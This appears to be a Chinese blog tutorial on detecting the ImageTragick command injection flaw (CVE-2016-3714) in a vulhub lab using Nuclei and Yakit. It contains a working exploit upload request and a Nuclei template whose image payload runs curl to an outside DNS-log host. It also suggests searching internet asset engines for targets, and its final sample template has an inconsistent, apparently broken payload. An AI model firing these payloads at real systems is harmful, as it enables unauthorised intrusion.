Imagetragick 命令注入漏洞扫描

ImageMagick 命令注入漏洞(CVE-2016-3714)是 2016 年曝光的高危远程代码执行(RCE)漏洞,影响当时主流版本的 ImageMagick 工具 ------ 这是一款全球广泛使用的开源图像处理库,支持 PNG、GIF、SVG 等上百种图像格式,被 PHP、Python 等语言的 Web 应用、服务器工具(如图片上传功能)大量集成。

漏洞核心原理

ImageMagick 处理图像时,会解析图像文件中的「特殊指令」(如 SVG 中的 url()、MVG 格式的命令),并调用系统底层命令(如 curlwget)执行。漏洞的本质是:ImageMagick 对用户上传的恶意图像文件缺乏安全过滤,导致攻击者可在图像中嵌入系统命令,被工具解析后直接执行

现在用靶场来测试,基于nuclei的漏洞扫描

进入https://github.com/vulhub/vulhub/tree/master/imagemagick/CVE-2016-3714,用AI生成扫描模板

复制漏洞描述

加上request

复制子域名,替换上去

复制的poc

bash 复制代码
ImageMagick Imagetragick Command Injection (CVE-2016--3714)

中文版本(Chinese version)

ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.

In ImageMagick version before 6.9.3-9, insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. The CVE-2016-3714 is also called "imagetragick".

References:

    https://imagetragick.com
    https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
    https://github.com/ImageTragick/PoCs

request:
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 328

------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "bnzx0f.dnslog.cn)'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--

在nuclei的ai工具上发送poc

cloud.projectdiscovery.io/templates

bash 复制代码
id: cve-2016-3714-imagetragick-command-injection

info:
  name: ImageMagick Imagetragick Command Injection
  author: PI
  severity: critical
  description: |
    This template checks for the ImageMagick Imagetragick Command Injection (CVE-2016-3714).
    The vulnerability is exploited by sending a crafted file containing malicious commands.
  tags: cve, rce, command-injection, imagetragick
  reference:
    - https://example.com/reference

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
        Connection: close
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
        Content-Length: 328

        ------WebKitFormBoundarymdcbmdQR1sDse9Et
        Content-Disposition: form-data; name="file_upload"; filename="1.gif"
        Content-Type: image/png

        push graphic-context
        viewbox 0 0 640 480
        fill 'url(https://127.0.0.0/oops.jpg"|curl "http://{{interactsh-url}})'
        pop graphic-context
        ------WebKitFormBoundarymdcbmdQR1sDse9Et--

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "Content-Type: text/html"

保存为yaml文件,进入这个目录下启动这个yaml文件(nuclei目录下)

先用yakit测试有没有漏洞,主机填刚刚访问网址的ip,也就是启动靶场的虚拟机ip,域名刷新粘贴上去,发送请求

发送的 POC 触发了目标系统的漏洞,目标会执行你构造的代码 / 请求,进而主动向 DNSLog 子域名发起 DNS 查询 ------ 这个查询行为会被 DNSLog 平台捕获并记录,所以 "回显" 本质是目标主动发起请求的证据,间接证明了漏洞可被触发。

可以看到扫描出一个漏洞,级别为严重

这说明可以去网络空间引擎上搜索带有这个Imagetragick组件的资产去测试。

那么如何利用nuclei去扫描漏洞呢?

步骤 1:确保 Nuclei 及模板已更新

先升级 Nuclei 和漏洞模板(保证包含目标漏洞的最新检测规则):

bash 复制代码
# 升级Nuclei(Windows可直接下载最新包)
nuclei -update

# 升级漏洞模板
nuclei -update-templates

步骤 2:搜索目标插件对应的漏洞模板

比如要扫 Imagetragick,先查找 Nuclei 中对应的模板:

bash 复制代码
# 搜索包含"imagetragick"的模板
nuclei -t ~/nuclei-templates/ -ls | findstr "imagetragick"  # Windows用findstr
# 或(Linux/macOS)
nuclei -t ~/nuclei-templates/ -ls | grep "imagetragick"

​会找到对应的模板文件(比如2016-3714-imagettragick-rce.yaml)。

步骤 3:执行针对该模板的扫描

指定模板和目标 URL/IP:

bash 复制代码
# 扫描单个目标
nuclei -t 2016-3714-imagettragick-rce.yaml -u http://目标地址:端口

# 扫描多个目标(把目标写在targets.txt里)
nuclei -t 2016-3714-imagettragick-rce.yaml -l targets.txt

关键提示

  • 模板是 Nuclei 的核心,不同插件 / 漏洞对应不同模板,搜索模板时可以用漏洞 CVE 编号 (如CVE-2016-3714)或插件名称 (如imagetragick)作为关键词。
  • 若模板库中没有目标插件的模板,也可以自己编写模板(基于 Nuclei 的 YAML 规则格式)。

Nuclei 模板搜索指南

1. 基础搜索(按关键词)

通过漏洞名、CVE 编号、插件名搜索模板:

bash 复制代码
# Windows(搜索Imagetragick相关模板)
nuclei -t ~/nuclei-templates/ -ls | findstr "imagetragick"

# Linux/macOS(搜索CVE-2016-3714相关模板)
nuclei -t ~/nuclei-templates/ -ls | grep "CVE-2016-3714"
2. 分类搜索(按漏洞类型)

Nuclei 模板按类型分类(如http/rce/sqli),可直接进入对应目录搜索:

bash 复制代码
# 进入RCE类型模板目录(Windows)
cd nuclei-templates/http/rce
dir | findstr "imagetragick"

Nuclei 模板自定义编写(基础格式)

模板是 YAML 文件,核心结构包含idinforequestsmatchers四部分(以 Imagetragick 漏洞为例):

bash 复制代码
id: CVE-2016-3714-imagettragick-rce  # 模板唯一ID
info:
  name: Imagetragick RCE  # 漏洞名称
  author: 你的名字
  severity: critical  # 漏洞等级(critical/medium/low)
  description: Imagetragick远程代码执行漏洞
requests:
  - method: POST  # 请求方法
    path: /upload  # 目标路径
    body: "image=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+ZXZhbCgnY2QgPiAvZGV2L3RtcC9mb290ZXIuZXhlJyk8L3NjcmlwdD48L3N2Zz4="  # 构造的POC(包含DNSLog域名)
    headers:
      Content-Type: multipart/form-data  # 请求头
matchers:
  - type: dns  # 匹配方式(这里用DNS回显)
    dns:
      - "你的dnslog子域名"  # 检测是否有DNS请求
    condition: or
相关推荐
bkspiderx2 小时前
解密网络安全基石:SSL、TLS与HTTPS的前世今生
web安全·https·ssl·tls
xiatianxy3 小时前
云酷有限空间监测设备,安全生产的隐形卫士
安全·有限空间作业·有限空间监测设备
乾元3 小时前
LLM 自动生成安全基线与等保合规初稿——把“网络工程事实”转译为“可审计的制度语言”
运维·网络·人工智能·python·安全·架构
跨境卫士情报站3 小时前
摆脱砍单魔咒!Temu 自养号系统化采购,低成本高安全
大数据·人工智能·安全·跨境电商·亚马逊·防关联
思通数据3 小时前
市政道路无人机巡检:AI视觉技术的应用与挑战
人工智能·深度学习·安全·目标检测·机器学习·无人机·语音识别
¥懒大王¥3 小时前
XSS-Game靶场教程
前端·安全·web安全·xss
lifejump3 小时前
Pikachu | SSRF
服务器·web安全·安全性测试
00后程序员张4 小时前
混合 App 怎么加密?分析混合架构下常见的安全风险
android·安全·小程序·https·uni-app·iphone·webview
熙丫 133814823864 小时前
CISAW-RM风险管理认证培训|2026年度课程计划全面发布:筑牢安全防线
运维·安全